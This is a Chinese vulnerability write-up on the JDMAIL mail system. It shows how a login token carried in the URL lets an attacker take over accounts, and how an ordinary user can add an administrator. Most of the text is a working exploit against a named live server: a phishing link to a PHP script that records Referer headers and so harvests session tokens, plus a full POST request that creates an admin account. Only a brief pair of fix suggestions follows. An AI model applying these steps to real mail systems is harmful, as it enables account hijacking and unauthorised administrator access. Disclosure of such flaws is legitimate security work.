金迪邮件系统,JDMAIL 此邮件系统存在多处设计缺陷高危 漏洞 。
0x001 任意用户劫持 此邮件系统,在登陆后url中有一个8或者9位的字符串,如45e22a8H7 这个字符串就是登陆的凭证,当登录后,只要拿到这个字符串就可以直接登陆此用户名,没有session和cookie的验证。 意思就是说我们获取到登陆后的url,只要此用户名没有注销登陆出的话,直接就能利用此url直接登陆系统。 利用方式很简单,给任意用户发一个email,email的内容中加载一个超链接,诱使用户点击此链接,此链接在后端抓取此次请求的Referer即可,此时你就可以得到他的url,也就劫持了用户。 更直接的给管理员发送恶意邮件即可劫持之。 或者通过XSS悄无声息的劫持任意用户账号。 这里我们拿http://mail.lyx928.com:8080进行测试。 用户test@dodole.net,弱口令111111 登陆之,然后我们给此用户发送邮件:
内容中加入了超链接:
此超链接的内容为:
<?php file_put_contents("referer.txt", " ref:".$_SERVER["HTTP_REFERER"], FILE_APPEND); file_put_contents("referer.txt", " IP:".$_SERVER["REMOTE_ADDR"], FILE_APPEND); file_put_contents("referer.txt", " Time:".date("Y.m.d H:i:s")."\r\n",FILE_APPEND); ?>获取Referer的内容到referer.txt中 当test@dodole.net点击此链接后,看看我们获取到的Referer内容:
成功获取了Referer,以及url中的认证字符串。 我们换一个 浏览器 访问此url即可,看是否成功登陆:
成功登陆劫持到的用户,很Easy! 0x002 添加管理员 这里存在越权操作我们登录普通用户后,可以直接添加一个管理员用户:
链接:http://mail.lyx928.com:8080/tmw/45e22a8H7/mailmain?type=msaveuser POST:subtype=new&username=test123&domain=dodole.net&usertype=S&departmentid=&first_name=test123&password=111111&encodetype=inner&enable=true&enable_smtp=true&enable_pop3=true&enable_imap4=true&enable_webaccess=true&alias=&expiredtime=&max_mailbox_size=-1&max_mailbox_msgs=-1&fm_size=-1&fm_upload_size=-2&sendmail_freq=&sendsms_freq=&sendmms_freq=&wm_max_attachment_size=&default_language=SIMPLIFIED_CHINESE&telephone=&mobile=&postalcode=&country=&state_province=&city=&organization=&department=&address=添加一个test123@dodole.net的管理员用户
漏洞修补建议:
1、加强用户登陆状态验证 2、严格控制用户权限
查看更多关于金迪邮件系统任意用户劫持到添加系统管理员的详细内容...